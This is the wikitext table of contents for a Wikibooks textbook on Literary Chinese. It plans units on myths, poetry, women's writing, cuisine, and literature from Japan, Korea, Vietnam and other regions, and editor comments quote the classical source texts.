[[/Paintings and Beauty with Puru Aisin-Gioro/]] <!--- Saw these in Shanghai Museum with some writing, seemed really cool. Teaches another skill. ---> ===Unit 22: Qing-RoC Literature=== <!--- many writers here, will be difficult to sift through. Include 四库全書 abstracts and stuff here. ---> # [[/Jewish Refugees in Shanghai/]] <!--- Show passports, certificates, etc, from the Jewish Refugee Museum, anonymised. ---> # [[/A Literary Chinese Abstract/]] <!--- Abstracts from siku quanshu, probably want others ---> # [[/Lament with Lu Ruoteng/]] <!--- 《疑猜》盧若騰，東寧國 盟誓變為交質子，春秋戰國風如此；末世上下相疑猜, 更質妻子防逃徙。 此法只可羈庸奴，若遇梟雄術窮矣；妻可再娶子再育, 安能長坐針氈裏。 我贈一法君記存；推心置腹人知恩；眾人畜之眾人報, 幾個國士在君門。 盧若騰撰，陳漢光編輯，《島噫詩》，臺灣文獻叢刊第二四五種（臺北:臺灣銀行經濟研究室，1968年）21頁。 ---> # [[/Common Linguistics Knowledge in the RoC/]] <!--- 音韻常識 ---> ==References used for this page== * Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company]. ISBN: 978-7-101-11619-9 * Priestley, K. E., & Shou-jung, C. (1962). China’s Men of Letters, Yesterday and Today. Dragonfly Books. {{BookCat}} 91059gqzn243pc99vslclnuspt15owv 4670715 4670714 2026-09-17T21:19:03Z Shira the Mogul 3560559 /* Unit 2: Myths and Legends of East Asia */ I know what we're doing with Zhen, that's for sure. 4670715 wikitext text/x-wiki __notoc__ Welcome to the Wikibook for Literary Chinese (Known as 漢文 "Han Language" in East Asia or 文言 "Literary Language" in China), aimed at individuals hoping to gain a general knowledge of it before progressing into genres they wish to be acquainted with. This is not the [[Classical Chinese]] textbook, which is aimed at Chinese Zhou-Qin era texts. This text aims to shed light on post-Zhou-Qin texts across East Asia, which mimic those texts. However, as Zhou-Qin era texts served as the main body from which individuals learned, they are employed here as and when they are considered necessary or otherwise useful. It does so through a "buffet" approach, showering you, the reader, with an ocean of texts of myriad genre. ==Table of Contents== === Front matter === * [[/Introduction/]] * [[/Appendices/]] === Useful resources === These are quick grab-bags that can be useful for vocabulary-building. * [[/Antonym List/]] <!--- 文/武，大/小，厚/薄，橫/縱...---> * [[/Collocation Groups/]] <!--- e.g. 四象，三靈…… ---> * [[/Pronoun Table/]] * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等 Yan Fu's Qing-era translations for modern terms] <!--- Wikiversity has this (https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等) and the below, I will effectively be translating a lot of it! ---> * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/上古語考輯 Communicative Terms] <!--- this will be translated eventually, but right now it's bad to just leave this here. ---> === Useful primers === Across history, many primers have been made for teaching Literary Chinese to children. These are a few that are recommended for use alongside this work, ideally in flashcards. * [https://www.fdgwz.org.cn/Web/Show/11308 倉頡篇] - Cangjie's Chapters, the earliest one. It is extant, but incomplete. It contains several rare characters, and so if used, I would personally recommend doing so later, or out of interest. * 三字經 - The Three Character Classic, an excellent piece for Confucian education. Pair with 弟子规 for best results. ** 三字經（太平天國版）- For Christians, there is a version made by Hong Xiuquan from the Taiping Rebellion. Despite the context, it is a legitimately useful primer and can be used to self-teach for the Delegate's Edition of the Christian Bible. * 千字文 - The Thousand Character Classic, a remarkable piece of constrained writing that only uses each character once. Amazing for building vocabulary whilst seeing historical allusions and the like. * 五字鑑 - The Five-Character Mirror, essentially the 24 Histories of China compressed into a primer. Uses 5-character couplets, the longest in this list. * 龍文鞭影 - The Shadow of Longwen's Whip, a historical allusion trainer. Best paired with a context piece. ===Unit 0: The Han script=== This unit is intended for those with no familiarity of the Han script. It will prepare you for the units ahead, teaching largely pictographic characters. By the end of this unit, students will: * Recognise around 50 characters. * Understand how characters are composed and how this gives them meaning. * Have a basic idea of how to handwrite and/or type characters using the Cangjie Input Method. * Know some bare basics of Literary Chinese grammar (e.g. Basic word order, where adjectives go, lack of "is", 有...) Lessons: # [[/An Introduction to the Han Script/]] # [[/People, Big and Small/]] # [[/How do we write Chinese?/]] # [[/What are Chinese characters, anyway?/]] # [[/The Sun, the Moon, and the Five Elements/]] # [[/Getting Familiar with Body Parts/]] # [[/Using Numbers and Using Weapons/]] <!--- 竹戈十大中一弓廿卜---> # [[/Tilling the Fields with 有/]] <!--- 山田 ---> # [[/How Characters are Made/|How Characters are Made with Kiyohara no Sanemoto]] # [[/Cangjie Created Characters/]] <!--- Get people to use Cangjie ---> # [[/The Kangxi Radical System/]] <!--- Introduce some monoradical texts to train recognition. ---> ===Unit 1: Basic Skills=== This unit is intended for those with minimal familiarity with the Han script and no familiarity with Literary Chinese. There is a focus on simple structures, skills for dissecting common textual structures, and short-form poetry in this unit. Before starting this unit, students should: * Recognise around ~30 characters. * Can use Cangjie input. * Have given Unit 0 a cursory glance. <br> By the end of this unit, students will: * Recognise around ~100 characters. * Comprehend numbers, the Heavenly Stems, and the Earthly Branches, and be able to use them to quantify time and date. * Intuit the basic topic -> comment idea behind Literary Chinese. "This, it is..." * Understand basic function words such as 也, 而, 有, and 謂. Lessons: # [[/The All-Purpose 也/]] # [[/An Introduction to Chinese Numbers/]] # [[/One, Two, Left, and Right with Gongsun Long/]] # [[/The Heavenly Stems/]] # [[/Tell the Time with Earthly Branches/]] # [[/How Much Time, Exactly?/]] # [[/Lunar Dates with the Spring and Autumn Annals/]] # [[/Scanning for Major Events in Historical Annals/]] # [[/Dinner with the Daimyo/]] # [[/In Discourse with Jibong/]] # [[/How do we Write Height and Weight?/]] # [[/Eating like a Zhou Aristocrat/]] <!--- Some cool stuff I saw someone studying from https://zh.wikisource.org/wiki/%E8%87%B3%E5%B0%8F%E4%B8%98%E8%A5%BF%E5%B0%8F%E7%9F%B3%E6%BD%AD%E8%A8%98# https://zh.wikisource.org/wiki/%E6%A0%B8%E8%88%9F%E8%A8%98 Could be used for period focus ---> ===Unit 2: Myths and Legends of East Asia=== In this unit, you will be studying some of the ancient myths and legends of East Asia, along with one of your first literary genres: Zhiguai 志怪. These texts happen to be quite easy to read and utilise skills you have already learned. By the end of this Unit, students will: * Recognise around 120 more characters. * Be able to use function words such as 在, 無, 不, 焉, and 于/於. * Understand 里 as a measure of distance. * Recognise the switch between 吾/我 in the subject-object positions and demonstrate it in usage. * (Chinese speakers) Be able to differentiate 于 and 於, and understand the "interest(ed) in" meaning of 好 in most circumstances. <!--- Shanhaijing, Zibuyu... Etc. Zhiguai literature. This aims to provide a counterpoint to what Confucius wouldn't discuss - thus Zibuyu. Going straight into Daoism isn't ideal. ---> # [[/Exploring the World of Mountains and Seas/]]<!-- Structure: 出焉 --> # [[/Oh, the Qilin!/]] # [[/The Poison of Zhen/]] <!--- referenced a lot in histories 《説文解字》鴆：毒鳥也。从鳥冘聲。一名運日。 《山海經·中山經》 又東六十里，曰瑤碧之山，其木多梓柟，其陰多青䨼，其陽多白金。有鳥焉，其狀如雉，恒食蜚，名曰鴆。 史記 魯 662 三十二莊公弟叔牙鴆死。慶父弒子般。季友奔陳，立湣公。 《後漢書·紀·孝順孝沖孝質帝紀》 閏月甲申，大將軍梁冀潛行鴆弒，帝崩于玉堂前殿，年九歲。 ---> # [[/Ultimate Justice with Xiezhi/]] <!--- the yellow emperor met one, gao yao also used one ---> # [[/The Virtue of the Fenghuang/]] <!--- The Shanhaijing has a great line which we can link with the Daimyo exercise and promote scanning with 《山海經·南山經》又東五百里，曰丹穴之山，其上多金玉。丹水出焉，而南流注于渤海。有鳥焉，其狀如雞，五采而文，名曰鳳皇，首文曰德，翼文曰義，背文曰禮，膺文曰仁，腹文曰信。是鳥也，飲食自然，自歌自舞，見則天下安寧。 ---> # [[/The Entrapment of Hua Po/]] # [[/Nüwa Created the World/]] ===Unit 3: Confucianism and the World=== This is a Confucian-themed unit with a smattering of other items. You will see the odd geography of the past, early linguistic philosophy, and terrifying breakaway states! Lessons: # [[/A Brief Overview of Confucianism/]] # [[/Teaching the Annals in Qi/]] <!-- Gongyang Gao's commentary --> # [[/Is a White Horse a Horse?/]]<!-- Teach negation with 非 in 公孙龍子 and compare with 不 --> # [[/The Three Character Classic/]] # [[/Expressing Filial Conduct with Confucius and Hara Saihin/]] <!-- 次韻杏坪先生 父執有君孤不孤 相依遍接搢紳徒 区区自抱地方寸 杳杳重遊天一隅 羇雁飛鳴迷汝國 家人思夢入江都 如教志業青年遂 世上寧無逐臭夫 --> # [[/Confucianism and the Environment with Sai On/]]<!-- 木假山記 --> # [[/In Debate with Mencius/]] ===Unit 4: Women's Writing=== In this unit, women's writing from various areas of China will be explored. This is chiefly targeted at poetry and the themes within; from the feminine voice of the Classic of Poetry to the remonstrance towards the Khitan Emperor Tianzuo of Jin by his Consort Dasese. The role of women in courtly society is to be elucidated here! # [[/An Unmarried Life with Heo Nansŏrhŏn/]] <!--- 貧女吟 豈是乏容色。工鍼復工織。 少小長寒門。良媒不相識。 夜久織未休。戛戛鳴寒機。 機中一匹練。終作阿誰衣。 手把金翦刀。夜寒十指直。 爲人作嫁衣。年年還獨宿。 ---> # [[/Responding to Lord Trần with Hồ Xuân Hương/]] <!--- Responding to 陳光靜 Trần Quang Tĩnh 《和陳侯》 愧無才調使人驚，十載風塵貫耳鈴。 已是臨枰知敵手，莫須敲月苦殫精。 為輪為彈隨遭遇，誰鳳誰鶯任賦生。 造物於人何苟惜，明珠休向暗中呈。 莫須 is an important structure to teach here. ---> # [[/Gaze into the Autumn Night with Taisei Shōan/]] <!--- 秋夜偶成·大成聖安 長天浮爽気，月色興無窮 群犬吠山径，百蟲啼野風 悲秋秋夜永，感古古今同 自是孤窓下，凄然万慮空 ---> # [[/Visiting a Temple with Yu Xuanji/]] <!--- 遊崇真觀南樓覩新及第題名處 雲峰滿目放春晴，歷歷銀鈎指下生。 自恨羅衣掩詩句，擧頭空羨榜中名。 ---> # [[/Remonstrance with Dasese/]] <!--- https://zh.wikisource.org/wiki/%E8%AB%B7%E8%AB%AB%E6%AD%8C 諷諫歌·大瑟瑟 勿嗟塞上兮暗紅塵。 勿傷多難兮畏夷人。 不如塞奸邪之路兮選取賢臣。 直須臥薪嚐膽兮激壯士之捐身。 可以朝清漠北兮夕枕燕雲。 Dasese (or 萧瑟瑟) was a Khitan consort to Emperor Tianzuo of Liao. She remonstrated him as the Jurchens were beginning to encroach upon the Khitan, and was forced to commit suicide for her remonstrance. Tianzuo would soon pay for his malfeasance. ---> # [[/The Love Songs of the Odes/]] <!--- 褰裳 子惠思我，褰裳涉溱。子不我思，豈無他人？狂童之狂也且！ 子惠思我，褰裳涉洧。子不我思，豈無他士？狂童之狂也且！ 柏舟 彼柏舟，在彼中河，髧彼兩髦，實維我儀，之死矢靡它，母也天只，不諒人只。 汎彼柏舟，在彼河側，髧彼兩髦，實維我特，之死矢靡慝，母也天只，不諒人只。 行露 厭浥行露，豈不夙夜，謂行多露。 誰謂雀無角？何以穿我屋？誰謂女無家？何以速我獄？雖速我獄，室家不足。 誰謂鼠無牙？何以穿我墉？誰謂女無家？何以速我訟？雖速我訟，亦不女從。 ---> # [[/Rules for Women with Ban Zhao/]] <!--- https://zh.wikisource.org/wiki/%E5%A5%B3%E8%AA%A1 ---> # [[/The Tragedy of Cai Wenji/]] <!--- 悲憤詩 〔兩漢〕蔡文姬 漢季失權柄，董卓亂天常。 志欲圖篡弒，先害諸賢良。 逼迫遷舊邦，擁主以自強。 海內興義師，欲共討不祥。 卓眾來東下，金甲耀日光。 平土人脆弱，來兵皆胡羌。 獵野圍城邑，所向悉破亡。 斬截無孑遺，屍骸相撐拒。 馬邊懸男頭，馬後載婦女。 長驅西入關，迥路險且阻。 還顧邈冥冥，肝脾為爛腐。 所略有萬計，不得令屯聚。 或有骨肉俱，欲言不敢語。 失意幾微間，輒言斃降虜。 要當以亭刃，我曹不活汝。 豈復惜性命，不堪其詈罵。 或便加棰杖，毒痛參並下。 旦則號泣行，夜則悲吟坐。 欲死不能得，欲生無一可。 彼蒼者何辜，乃遭此厄禍。 邊荒與華異，人俗少義理。 處所多霜雪，胡風春夏起。 翩翩吹我衣，肅肅入我耳。 感時念父母，哀嘆無窮已。 有客從外來，聞之常歡喜。 迎問其消息，輒復非鄉里。 邂逅徼時願，骨肉來迎己。 己得自解免，當復棄兒子。 天屬綴人心，念別無會期。 存亡永乖隔，不忍與之辭。 兒前抱我頸，問母欲何之。 人言母當去，豈復有還時。 阿母常仁惻，今何更不慈。 我尚未成人，奈何不顧思。 見此崩五內，恍惚生狂痴。 號泣手撫摩，當發復回疑。 兼有同時輩，相送告離別。 慕我獨得歸，哀叫聲摧裂。 馬為立踟躕，車為不轉轍。 觀者皆噓唏，行路亦嗚咽。 去去割情戀，遄征日遐邁。 悠悠三千里，何時復交會。 念我出腹子，匈臆為摧敗。 既至家人盡，又復無中外。 城廓為山林，庭宇生荊艾。 白骨不知誰，縱橫莫覆蓋。 出門無人聲，豺狼號且吠。 煢煢對孤景，怛吒糜肝肺。 登高遠眺望，魂神忽飛逝。 奄若壽命盡，旁人相寬大。 為復強視息，雖生何聊賴。 託命於新人，竭心自勖勵。 流離成鄙賤，常恐復捐廢。 人生幾何時，懷憂終年歲。 ---> ===Unit 5: Food from Across the Ages=== # [[/A Simple, Rich Fry/]] <!--- 《禮記 內則》淳熬：煎醢，加于陸稻上，沃之以膏曰淳熬。淳毋煎醢，加于黍食上，沃之以膏曰淳毋。---> # [[/Song Cuisine with Chen Dasou and Lin Hong/]] <!--- 陳達叟 本心齋疏食譜 https://zh.wikisource.org/zh-hant/%E6%9C%AC%E5%BF%83%E6%96%8B%E7%96%8F%E9%A3%9F%E8%B0%B1 ---> <!--- 山家清供 https://zh.wikisource.org/wiki/%E5%B1%B1%E5%AE%B6%E6%B8%85%E4%BE%9B ---> # [[/Yuan Cuisine with Ni Zan/]] <!--- https://ctext.org/wiki.pl?chapter=318337&if=en 《雲林堂飲食制度集》倪瓚 one of the Four Masters, also a painter ---> # [[/A Feast with Yuan Mei/]] <!--- 袁枚 隨園食單 https://ctext.org/wiki.pl?if=gb&res=344157 ---> # [[/Remembering the Food of Joseon with Hŏ Kyun/]] <!--- https://rmda.kulib.kyoto-u.ac.jp/item/rb00023424?page=3p 許筠 屠門大嚼 ---> ===Unit 6: An Overview of Sinitic Poetry=== This unit will teach you how Sinitic Poetry operates; - that is, the way individuals in the Sinosphere compose poetry in Literary Chinese. Despite this language's fall out of favour in the past century, this tradition is still remarkably alive and well, and their short length makes them more accessible than elaborate prose. In this unit, you will begin from the ''Classic of Poetry'' before travelling through poems from the Tang dynasty, Singapore, Japan, Vietnam, the Ryukyu Kingdom, and Korea. When introducing poetry, I will furthermore use the language from the nation it is from to show how it is recited by its people. After discussing the Classic of Poetry, we will also be a small detour into a discussion on Ping-Ze 平仄, the Tang dynasty system of alternating tones, so to produce rhyme on tonal and phonological levels. This had a major impact on Literary Chinese poetry as a whole! <!--- Summary of the above part about 于 and 於 for other editors: 于 and 於 were distinct words for an extremely long time and were still such to Literary Chinese writers. Their "merging" through Simplified-Traditional Chinese distinctions is a very modern thing. I will summarise their usages here, using Pulleyblank's Outline of Classical Chinese Grammar (2000); * 于 - This can mean "to go" or "to/at". 黃鳥于飛 "The yellow birds go flying". Must be post-verbal. It can also appear in 至于. * 於 - This is an all-purpose locative preposition - from "on/at/in" to "from" or even "than" (甲於乙). The implication of motion is not there at all. Must be pre-verbal. It can also appear in 之於 or be an archaic noun for a crow 於 (烏). ---> Lessons: # [[/Across the Rivers with Emperor Puliuru Guang/]] <!--- Illustrate ping-ze ---> # [[/To Study the Odes/]] # [[/A Detour into Orthodox Ping-Ze/]] <!--- 平 and 仄 are useful characters themselves. Show 仄 in the binomes 反仄，歉仄，逼仄 as it's often difficult to immediately use ---> # [[/The Restraint of Du Fu/]] # [[/The Longing of Li Bai/]] # [[/The Environment with Bukha Timur/]] # [[/Pillow Talk with Guan Yunshi/]] <!--- 紅繡鞋·貫雲石 挨著靠著雲窗同坐，偎著抱著月枕雙歌，聽著數著愁著怕著早四更過。四更過情未足，情未足夜如梭。天哪，更閏一更兒妨甚么！ Uyghur author! ---> # [[/Buddhist Philosophy with Ngô Chân Lưu and Taisei Shōan/]] <!-- 元火·吳真流 木中元有火，元火復還生。 若為木無火，鉆燧何有萌。--> <!-- 杜鵑·大成聖安 夢覚孤床静 杜鵑帯雨飛 一声来近枕 何者不沾衣 --> # [[/Odes with Mō Taiei and Zheng Chengxun/]] <!-- 詠松·毛泰永 植體宜千仞，垂陰動百尋。 李膺真烈烈，和嶠自森森。 桃李何堪較，雪霜安得侵。 萬年身不老，種子又成林。 AKA Inoha Seiki 伊野波 盛紀 --> <!-- 詠班蘭·鄭成勛 南國多芳草，班蘭最有名。 深根將綠茁，長葉亦叢生。 取味迎賓合，入厨任水烹。 可憐經一用，擲棄不留情。 鄭成勛《樵隱詩集》 https://nus.edu.sg/nuslibraries/dsprojects/sg-jiutishi/poem/827 --> # [[/A Golden Cup and the Fall of a Dynasty with Yan Fu/]] # [[/On a Journey with Sadula/]] <!--- No lesson entry: 朝中措·襄陽古道灞陵橋 襄陽古道灞陵橋，詩興與秋高。 千古風流人物，一時多少雄豪。 霜清玉塞，雲飛隴首，風落江皋。 夢到鳳凰台上，山圍故國周遭。 北郊晚步 陂水荷凋晚，茅檐燕去涼。 遠林明落景，平麓淡秋光。 群牧歸村巷，孤禽立野航。 自諳閑散樂，園圃意尤長。 Jurchen poet and grandson of Emperor Shizong of Jin. He's a Zen Buddhist, so we'll go back to him later. ---> ===Unit 7: Nation Focus - Japan=== # [[/An Introduction to Kanbun Kundoku/]] # [[/The Inariyama Sword/]] <!--- short and sweet! ---> # [[/Entering Japan with Takeda Shingen/]] # [[/The Oldest Inscription in Japan/]] <!--- 宇治橋断碑 ---> # [[/The End of a Rebellion/]] # [[/The Diary of Fujiwara no Teika/]] <!--- 明月記 ---> # [[/Reading the History of Japan with Prince Toneri/]] <!--- 日本書記, etc. ---> # [[/A Biographical Painting of Toyotomi Hideyoshi/]] <!--- This is on Fanya Hanwen Corpus ---> <!--- # [[/Occupying Taiwan/]] ---> <!--- I have some colonial literature on me that can be used here. ---> ===Unit 8: Shinto, the Nature Religion=== # [[/Shinto, Questions and Answers/]] <!--- https://wikisource.org/wiki/%E7%9C%9E%E9%81%93%E5%95%8F%E5%B0%8D 眞道問對 本田親徳 really good way of operationalising 乎 and much of the early grammar. 問 天帝無始無終乎。 對 天帝無始無終也。 旣以無始無終之力 與無始無終之體 造無始無終之萬物。 其功亦無始無終也。 問 天地大原在道乎。 對 天地大原實在道。 鬼神依道而立。 人民依道而活。 萬物依道而息。 This is great! ---> # [[/The Way of Shinto with Honda Chikaatsu/]] <!--- https://wikisource.org/wiki/%E9%81%93%E4%B9%8B%E5%A4%A7%E5%8E%9F 本田親徳 道之大原 ---> <!--- 滄海窓問答 鎮魂帰神の極意 新論 by 会沢正志斎 https://dl.ndl.go.jp/pid/2610897 大和神学 神道大意 三社託宣 神道五部書 古語拾遺 日本書紀 ---> ===Unit 9: Nation Focus - Korea=== # [[/Feigned Surrender with Ŭlchi Mundŏk/]] <!--- 乙支文德漢詩 ---> # [[/A fu with Yi Kyubo/]] # [[/An Elegy to the Empress with Choe Ja/]] <!--- Choe Ja 元德大后輓詞·崔滋（최자） 乾極曾客配,坤儀正體元。 枕前朝聖主,帳底見曾孫。 陰慘俄沉月,屋悲便沒軒。 三韓千古淚,七十九年恩。 ---> # [[/Language Reform with Sejong the Great/]] <!--- 訓民正音 https://github.com/ShiraTheMogul/fanyahanwen-corpus/commit/1ef2b42cc50055affaa5ef39c61b87ed31c34a60 multiple poems and descriptive terms, possibly the best capstone ---> # [[/Fall Off Your Horse!/]] <!--- a famous record from 朝鮮王朝實錄 ---> # [[/The Diary of Yi Sun-Sin/]] <!--- 亂中日記 ---> # [[/Tales from Mount Kumo/]] <!--- 金鰲新話 ---> # [[/Pak Chiwŏn Tours the Qing/]] <!--- 熱河日記 ---> # [[/Korea's Three Kingdoms/]] <!--- 三國史記 for sure! ---> # [[/Hwang Yun-seok's Essays/]] <!--- https://zh.wikisource.org/wiki/%E9%A0%A4%E9%BD%8B%E9%81%BA%E7%A8%BF 頤齋遺稿 黃胤錫 Joseon scholar! ---> ===Unit 10: Christian Literature=== # [[/A Different Three Character Classic with Hong Xiuquan/]] # [[/Friar Juan Cobo's Veritable Record/]] <!--- One of few texts from the Philippines that I have ever found! https://bnedigital.bne.es/bd/en/viewer?id=0160187c-9d9b-4f34-84d6-bc03fd310c69 ---> # [[/The Delegate's Edition/]] # [[/Nestorian Steles during the Tang/]] <!--- 大秦景教宣元至本經經幢 and 景教碑 ---> # [[/Hong Xiuquan's Bible/]] <!--- https://bible.fhl.net/ob/nob.html?book=407 ---> <!--- I don't want to focus too much on Hong Xiuquan here, so look for more material, especially from missionaries. ---> ===Unit 11: An Introduction to Daoism=== <!--- And now back to your regularly scheduled Zhuangzi/Laozi/Liezi. But with more interesting stuff. Trust! ---> # [[/Laozi Explains the Dao/]] # [[/Qingtan with Xie Daoyun/]] # [[/The Doubting Neighbour/]] # [[/Kuafu Chases the Sun/]] # [[/The Frog in a Well/]] # [[/Wu wei with King Hui of Liang/]] # [[/The Old Man that Moves the Mountains/]] # [[/Master Zhuang Dreams of Butterflies/]] # [[/Master Incapable and the Poisonous Bird/]] # [[/Transmitting the Dao with Yelü Chucai/]] <!---耶律楚材 - Served 窝阔台, 玄風慶會錄 is short and respectable enough to work with. https://zh.wikisource.org/wiki/%E7%8E%84%E9%A2%A8%E6%85%B6%E6%9C%83%E9%8C%84 ---> # [[/The Indifferent Taoist/]] <!--- northern song https://zh.wikisource.org/wiki/%E7%8E%89%E6%AD%B7%E5%AF%B6%E9%88%94 ---> <!--- Currently very stereotypical, but there's stuff to work with at least. Need to include those weird Daoist characters among other things. ---> ===Unit 12: Nation Focus - Ryukyu Kingdom=== # [[/Historical Annals with Sai On/]] <!--- Kyuko is an easy cop ---> # [[/The Enthronement of Shō Tei/]] # [[/The Twilight of Ryukyu with Shō Ten/]] # [[/A Trip to Ryukyu with Luo Sen/]] <!--- Pre-Capstone ---> <!--- 遐邇貫珍 1854-11 - 日本日記 羅森 https://archive.org/details/HEKC185411/page/n5/mode/1up A solid description of Ryukyu cultural customs in Volume 11. Absolutely incredible. 日三日火船直向東北而駛出了臺灣之外幾日不見天涯是時北風大作波浪沖天火船亦甚飄蕩而不能立見有沙鷗隨風而逐浪心直駛七日漸見小山而到琉球琉球一國長闊一百七十五里其國城在地球圖緯線赤道之北二十六度十四分經線中華北京偏東十一度二十四分自明以來世封王爵叨列藩籬其處土產不過蔬菜番薯菜油黑糖等類人民束髻大補是穿草履男女粧飾頭上祇插一簪二簪為別故少年之男女瞥目則無異及其壯也皆留鬚髯故街上長鬚之人甚多甲寅正月初一予上岸遊玩見街上兒童甚多分以銅錢各極歡喜人民亦甚謙恭民居間亦貼新春聯于門外但不見有別等繁華之事那霸有寺寺內有園是名家世宦之墳所以石刊刻姓名年號于碑上每日道人打掃供奉生花樹葉于墓前另有人家祖墳與中國之明塚無異峰巒之上樹木多植民房則以蠻石圍墻內以茅草結屋而居佳物椅棹俱無惟以草蓆屈膝而坐對火盆而吹煙民間亦有識中國言語字墨者 不張舖店惟有墟塲男不貿易婦女為之以貨易貨而外方之金銀弗尚焉然而百姓亦甚畏官長飲食亦甚粗粕甘守樸儉不務奢華亦鮮欺詐板門紙窓夜間亦不防竊曾見途中撿物亦能以返原人公門之內冷冷落落並無案牘之煩淳樸之風畧有同于上古之世我等外國之欲買什物須言于官官為代辦正月初六提督被理衛廉士等一班將官布列威嚴與予乘轎至王宮總理大臣尚宏勳為主席布政大夫馬良才為知客享宴甚豐食物多與中國無異宴後各官皆饋有紙扇烟包布帛等項是物雖粗此亦世子之恭敬外國故亞國亦以禮物而返贈之世子王宮離岸三里在于山頂是名守禮將至其宮一路亦有樹木石牌坊宮室亦甚寬大幽雅垣局可觀其處多栽鳳尾草森樹等類以障陰山邊田土樹藝五穀近海沙田水漲之後人收其沙以煎鹽此時明月當圓予覽山川亦足見一方之風景 ---> <!--- 中山世鑑 and so on. Lots of poetry too. ---> ===Unit 13: Nation Focus - Singapore=== <!--- National Library of Singapore has a poetry series that's super good! ---> # [[/Three Nights in Penang with Gao Chao/]] ===Unit 14: Literary Chinese in Medicine=== <!--- do not endorse the medical practices discussed in these...make sure to link back to the heavenly stems here as they are associated with specific body parts. ---> # [[/The Books of the Yellow Emperor/]] <!-- 黃帝内徑 ---> # [[/Deviant Qi with Zhang Congzheng/]] <!--- https://zh.wikisource.org/wiki/%E5%84%92%E9%96%80%E4%BA%8B%E8%A6%AA ---> # [[/Anatomy with Sugita Genpaku/]] <!--- 解体新書 ---> # [[/A Lost Wu Medical Text analysed in Japan/]] <!--- 難經古義 ---> ===Unit 15: People Focus - Zhuang peoples=== <!--- https://mooc1.chaoxing.com/mooc-ans/ztnodedetailcontroller/visitnodedetail?courseId=84745403&knowledgeId=84745463&_from_=&_fromV2_=&rtag= 《峤西诗钞》 is also a really good shout. Found here: https://ctext.org/wiki.pl?if=gb&res=215640&remap=gb ---> <!--- Basically, there are Zhuang and Tangut peoples who wrote in Literary Chinese, and their inclusion here is to show that even those who made their own scripts would use this tongue. 张鸿翮 imported the character 朴 to describe a bug, for example. ---> # [[/Zhuang poetry with Li Bi/]] # [[/The Beauty of Wuyuan with Fang Ju/]] # [[/Disaster and Society with Wei Fenghua/]] # [[/Who Deserves a Biography?/]] <!--- https://wenyi.gmw.cn/2024-06/25/content_37398911.htm 一是忠实记录了汉诗创作与古壮字交融的文化现象。清代壮族诗人张鸿翮（hé）《大塘谣》（《峤西诗钞》卷二）云： 去了休。去到大塘红蓼洲。红蓼生花，不结子。绿朴生花，毬见毬。 诗中所说“绿朴”，是壮族对柚子的惯称。“柚子”，壮语发音为“bug”。根据《古壮字字典》，其对应的古壮字为“朴（㭪）”。诗人将古壮字运用到汉文诗歌创作中，刻下了明清壮汉文化交相辉映的注脚。 This sort of thing is why Zhuang and Tangut inclusion is important, as they show how flexible Literary Chinese can be. ---> ===Unit 16: People Focus - Tangut peoples=== <!--- 羅福萇 and 羅振玉 wrote studies on Western Xia / Tangut script. Look for poets and stuff. ---> ===Unit 17: Literary Chinese in the Military=== <!--- Real Sun Zi hours! 7 Military Classics are an obvious shout, but look for more stuff too. ---> # [[/Fū! Rin! Ka! Zan!/]] # [[/A Bilingual Stele of the Khitans/]] # [[/Going to war with Boyan/]] <!--- Boyan's Poem from the 元史 　　伯顏，蒙古巴林部人。至元十一年拜中書左丞相，總兵伐宋。官至開府儀同三司，薨贈太師，封淮安王，諡忠武。 　　《玉堂嘉話》：初，宋未下時，江南謠云：「江南若破，白雁來過。」當時莫喻其意。及宋亡，蓋知指丞相巴延也。 　　過梅嶺岡留題 馬首經從庾嶺回 【 庾嶺回　七修類稿（乾隆刊本）卷四十六作「嶺島歸」。】 ，王師到處悉平夷。擔頭不帶江南物，只插梅花一兩枝。 　　《七修類藳》：伯顏下江南，過金陵梅嶺岡詩云云。所以著名，亦有是善。 ---> # [[/An Edict from the Xianbei/]] # [[/The Suppression of the Kingdom of Dongning/]] <!--- 台灣鄭氏始末 https://ctext.org/wiki.pl?if=en&chapter=139938 Largely a record of wars in Dongning rather than anything about the trade etc, so it fits here. ---> # [[/The Shunzhi Emperor vs Li Zicheng/]] # [[/The Art of War/]] ===Unit 18: Nation Focus - Vietnam=== # [[/Đỗ Pháp Thuận and the Southern Skies/]] # [[/Ancestor Veneration with the Descendants of Zhu Xi/]] <!--- https://github.com/ShiraTheMogul/fanyahanwen-corpus/tree/main/corpus%2F%E8%B6%8A%E5%8D%97%E6%BC%A2%E6%96%87%2Fclean somewhere in here ---> # [[/Resolving a Succession Crisis with Emperor Trần Minh Tông/]] <!-- 南翁夢錄·黎澄 --> # [[/Spreading Revolutionary Consciousness with Phan Bội Châu and Liang Qichao/]] <!--- 越南亡國史 Possibly the most important text in Vietnamese history, not even gonna lie. https://zh.wikisource.org/wiki/%E8%B6%8A%E5%8D%97%E4%BA%A1%E5%9C%8B%E5%8F%B2 ---> # [[/Academia in Literary Chinese between East and West/]] <!--- 南風雜誌 is a massive shout here. Absolutely amazing series. ---> ===Unit 19: Historical Annals and Encyclopediae=== <!--- 永樂大典 will teach how to infer from gaps in texts! 《編類》 is an incredibly interesting essay from here that can bring up the odes and Confucius's「思無邪」quote. It can prepare students for the wrath of Qing academia later. ---> # [[/An Introduction to Biographical Paintings/]] <!-- Many older paintings include biographies at the top in Literary Chinese. Students need to learn these. https://commons.wikimedia.org/wiki/File:%E6%AD%B7%E4%BB%A3%E8%81%96%E8%B3%A2%E5%8D%8A%E8%BA%AB%E5%83%8F_%E5%86%8A_%E8%AB%B8%E8%91%9B%E4%BA%AE_(Zhuge_Liang).png - Famous figure, also part of a very notable series. https://commons.wikimedia.org/wiki/File:Otomo-Sorin-2.jpg - Contains the Japanese repetition character 々 https://commons.wikimedia.org/wiki/File:Toyotomi_hideyoshi4.jpg - simply has aura --> # [[/The History of Liao, Jin, and Song with Toqto'a/]] <!--- 脱脱 ---> # [[/Two Years in the Forbidden City with Yu Deling/]] <!--- 清宮禁二年記 https://zh.wikisource.org/wiki/%E6%B8%85%E5%AE%AE%E7%A6%81%E4%BA%8C%E5%B9%B4%E8%A8%98 ---> # [[/Selected Records of the History of the Da Shun/]] <!--- Fair Use of a 2010 book written in Literary Chinese about the Da Shun dynasty. Limit to 500 characters, if that. Use to encourage recognition of Simplified variants and modern Wenyanwen. ---> # [[/Documenting the World with Terajima/]] <!--- 和漢三才図会 寺島良安, built off 三才圖會 ---> 